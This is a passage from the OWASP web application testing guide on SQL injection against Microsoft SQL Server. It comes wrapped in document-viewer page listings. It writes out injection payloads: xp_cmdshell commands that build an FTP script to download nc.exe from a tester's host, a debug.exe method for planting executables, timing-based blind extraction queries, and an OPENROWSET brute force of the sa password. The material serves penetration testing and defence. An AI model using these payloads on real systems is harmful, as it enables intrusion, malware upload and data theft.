4.0

More documents

Recommendations

Info

124 Web Application Penetration Testing Example 8: Upload of executables Once we can use xp_cmdshell (either the native one or a custom one), we can easily upload executables on the target DB Server. A very common choice is netcat.exe, but any trojan will be useful here. If the target is allowed to start FTP connections to the tester’s machine, all that is needed is to inject the following queries: At this point, nc.exe will be uploaded and available. exec master..xp_cmdshell ‘echo open ftp.tester.org > ftpscript.txt’;-- exec master..xp_cmdshell ‘echo USER >> ftpscript.txt’;-- exec master..xp_cmdshell ‘echo PASS >> ftpscript.txt’;-- exec master..xp_cmdshell ‘echo bin >> ftpscript.txt’;-- exec master..xp_cmdshell ‘echo get nc.exe >> ftpscript.txt’;-- exec master..xp_cmdshell ‘echo quit >> ftpscript.txt’;-- exec master..xp_cmdshell ‘ftp -s:ftpscript.txt’;-- If FTP is not allowed by the firewall, we have a workaround that exploits the Windows debugger, debug.exe, that is installed by default in all Windows machines. Debug.exe is scriptable and is able to create an executable by executing an appropriate script file. What we need to do is to convert the executable into a debug script (which is a 100% ASCII file), upload it line by line and finally call debug.exe on it. There are several tools that create such debug files (e.g.: makescr.exe by Ollie Whitehouse and dbgtool.exe by toolcrypt.org). The queries to inject will therefore be the following: exec master..xp_cmdshell ‘echo [debug script line #1 of n] > debugscript.txt’;-- exec master..xp_cmdshell ‘echo [debug script line #2 of n] >> debugscript.txt’;-- .... exec master..xp_cmdshell ‘echo [debug script line #n of n] >> debugscript.txt’;-- exec master..xp_cmdshell ‘debug.exe < debugscript.txt’;-- At this point, our executable is available on the target machine, ready to be executed. There are tools that automate this process, most notably Bobcat, which runs on Windows, and Sqlninja, which runs on Unix (See the tools at the bottom of this page). Obtain information when it is not displayed (Out of band) Not all is lost when the web application does not return any information --such as descriptive error messages (cf. Blind SQL Injection). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested. Other options for out of band attacks are described in Sample 4 above. Blind SQL injection attacks Trial and error Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors (1) against this channel and watch the response. For example, if the web application is looking for a book using a query select * from books where title=text entered by the user then the penetration tester might enter the text: ‘Bomba’ OR 1=1- and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL injection vulnerability. The penetration tester might later play with the queries in order to assess the criticality of this vulnerability. If more than one error message is displayed On the other hand, if no prior information is available, there is still a possibility of attacking by exploiting any covert channel. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example: • In some cases the web application (actually the web server) might return the traditional 500: Internal Server Error, say when the application returns an exception that might be generated, for instance, by a query with unclosed quotes. • While in other cases the server will return a 200 OK message, but the web application will return some error message inserted by the developers Internal server error or bad data. This one bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit. Another out-of-band method is to output the results through HTTP browseable files. Timing attacks There is one more possibility for making a blind SQL injection attack when there is not visible feedback from the application: by measuring the time that the web application takes to answer a request. An attack of this sort is described by Anley in ([2]) from where we take the next examples. A typical approach uses the waitfor delay command: let’s say that the attacker wants to check if the ‘pubs’ sample database exists, he will simply inject the following command: select * from books where title=text entered by the user Depending on the time that the query takes to return, we will know the answer. In fact, what we have here is two things: a SQL injection vulnerability and a covert channel that allows the penetration tester to get 1 bit of information for each query. Hence, using several queries (as many queries as bits in the required information) the pen tester can get any data that is in the database. Look at the following query declare @s varchar(8000) declare @i int select @s = db_name() select @i = [some value] if (select len(@s)) < @i waitfor delay ‘0:0:5’
125 Web Application Penetration Testing Measuring the response time and using different values for @i, we can deduce the length of the name of the current database, and then start to extract the name itself with the following query: if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor delay ‘0:0:5’ This query will wait for 5 seconds if bit ‘@bit’ of byte ‘@byte’ of the name of the current database is 1, and will return at once if it is 0. Nesting two cycles (one for @byte and one for @bit) we will we able to extract the whole piece of information. However, it might happen that the command waitfor is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn’t mean that blind SQL injection attacks cannot be done, as the pen tester should only come up with any time consuming operation that is not filtered. For example declare @i int select @i = 0 while @i < 0xaffff begin select @i = @i + 1 end Checking for version and vulnerabilities The same timing approach can be used also to understand which version of SQL Server we are dealing with. Of course we will leverage the built-in @@version variable. Consider the following query: select @@version OnSQL Server 2005, it will return something like the following: Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 The ‘2005’ part of the string spans from the 22nd to the 25th character. Therefore, one query to inject can be the following: if substring((select @@version),25,1) = 5 waitfor delay ‘0:0:5’ Such query will wait 5 seconds if the 25th character of the @@version variable is ‘5’, showing us that we are dealing with a SQL Server 2005. If the query returns immediately, we are probably dealing with SQL Server 2000, and another similar query will help to clear all doubts. Example 9: bruteforce of sysadmin password To bruteforce the sysadmin password, we can leverage the fact that OPENROWSET needs proper credentials to successfully perform the connection and that such a connection can be also “looped” to the local DB Server. Combining these features with an inferenced injection based on response timing, we can inject the following code: select * from OPENROWSET(‘SQLOLEDB’,’’;’sa’;’’,’select 1;waitfor delay ‘’0:0:5’’ ‘) What we do here is to attempt a connection to the local database (specified by the empty field after ‘SQLOLEDB’) using “sa” and “” as credentials. If the password is correct and the connection is successful, the query is executed, making the DB wait for 5 seconds (and also returning a value, since OPENROWSET expects at least one column). Fetching the candidate passwords from a wordlist and measuring the time needed for each connection, we can attempt to guess the correct password. In “Data-mining with SQL Injection and Inference”, David Litchfield pushes this technique even further, by injecting a piece of code in order to bruteforce the sysadmin password using the CPU resources of the DB Server itself. Once we have the sysadmin password, we have two choices: • Inject all following queries using OPENROWSET, in order to use sysadmin privileges • Add our current user to the sysadmin group using sp_addsrvrolemember. The current user name can be extracted using inferenced injection against the variable system_user. Remember that OPENROWSET is accessible to all users on SQL Server 2000 but it is restricted to administrative accounts on SQL Server 2005. Tools • Francois Larouche: Multiple DBMS SQL Injection tool - [SQL Power Injector] • Northern Monkee: [Bobcat] • icesurfer: SQL Server Takeover Tool - [sqlninja] • Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http: /sqlmap.org/ References Whitepapers • David Litchfield: “Data-mining with SQL Injection and Inference” - http: /www.databasesecurity.com/webapps/sqlinference.pdf • Chris Anley, “(more) Advanced SQL Injection” - http: /www.encription.co.uk/downloads/more_advanced_sql_ injection.pdf • Steve Friedl’s Unixwiz.net Tech Tips: “SQL Injection Attacks by Example” - http: /www.unixwiz.net/techtips/sql-injection.html • Alexander Chigrik: “Useful undocumented extended stored procedures” - http: /www.mssqlcity.com/Articles/Undoc/ UndocExtSP.htm • Antonin Foller: “Custom xp_cmdshell, using shell object” - http: /www.motobit.com/tips/detpg_cmdshell • Paul Litwin: “Stop SQL Injection Attacks Before They Stop You” - http: /msdn.microsoft.com/en-us/magazine/cc163917.aspx • SQL Injection - http: /msdn2.microsoft.com/en-us/library/ ms161953.aspx • Cesar Cerrudo: Manipulating Microsoft SQL Server Using SQL Injection - http: /www.appsecinc.com/presentations/ Manipulating_SQL_Server_Using_SQL_Injection.pdf uploading files, getting into internal network, port scanning, DOS OWASP Backend Security Project Testing PostgreSQL Summary In this section, some SQL Injection techniques for PostgreSQL will be discussed. These techniques have the following characteristics:
Page 1 and 2:
1 Testing Guide 4.0 Project Leaders
Page 3 and 4:
Testing Guide Foreword - Table of c
Page 5 and 6:
3 Testing Guide Foreword - Table of
Page 7 and 8:
5 Testing Guide Foreword - By Eoin
Page 9 and 10:
7 Testing Guide Frontispiece 1 Test
Page 11 and 12:
9 Testing Guide Introduction 2 The
Page 13 and 14:
11 Testing Guide Introduction vide
Page 15 and 16:
13 Testing Guide Introduction Testi
Page 17 and 18:
15 Testing Guide Introduction laid
Page 19 and 20:
17 Testing Guide Introduction valid
Page 21 and 22:
19 Testing Guide Introduction USER
Page 23 and 24:
21 Testing Guide Introduction ment
Page 25 and 26:
23 Testing Guide Introduction offen
Page 27 and 28:
25 The OWASP Testing Framework sect
Page 29 and 30:
27 Web Application Penetration Test
Page 31 and 32:
Page 33 and 34:
Page 35 and 36:
Page 37 and 38:
Page 39 and 40:
Page 41 and 42:
Page 43 and 44:
Page 45 and 46:
Page 47 and 48:
Page 49 and 50:
Page 51 and 52:
Page 53 and 54:
Page 55 and 56:
Page 57 and 58:
Page 59 and 60:
Page 61 and 62:
Page 63 and 64:
Page 65 and 66:
Page 67 and 68:
Page 69 and 70:
Page 71 and 72:
Page 73 and 74:
Page 75 and 76: 73 Web Application Penetration Test
Page 103 and 104: 101 Web Application Penetration Tes
Page 125: 123 Web Application Penetration Tes
Page 177 and 178:
175 Web Application Penetration Tes
Page 179 and 180:
Page 181 and 182:
Page 183 and 184:
Page 185 and 186:
Page 187 and 188:
Page 189 and 190:
Page 191 and 192:
Page 193 and 194:
Page 195 and 196:
Page 197 and 198:
Page 199 and 200:
Page 201 and 202:
Page 203 and 204:
Page 205 and 206:
Page 207 and 208:
Page 209 and 210:
Page 211 and 212:
209 same code can be applied to ses
Page 213 and 214:
211 Reporting Test ID Lowest versio
Page 215 and 216:
213 Reporting Test ID Business Logi
Page 217 and 218:
215 Appendix kajfghlhfkcocafkcjlajl
Page 219 and 220:
217 Appendix Testing - http:/www.ni
Page 221 and 222:
219 Cross Site Scripting (XSS) For
Page 223 and 224:
221 LDAP Injection For details on L
show all

4.0

You also want an ePaper? Increase the reach of your titles

Delete template?

Save as template?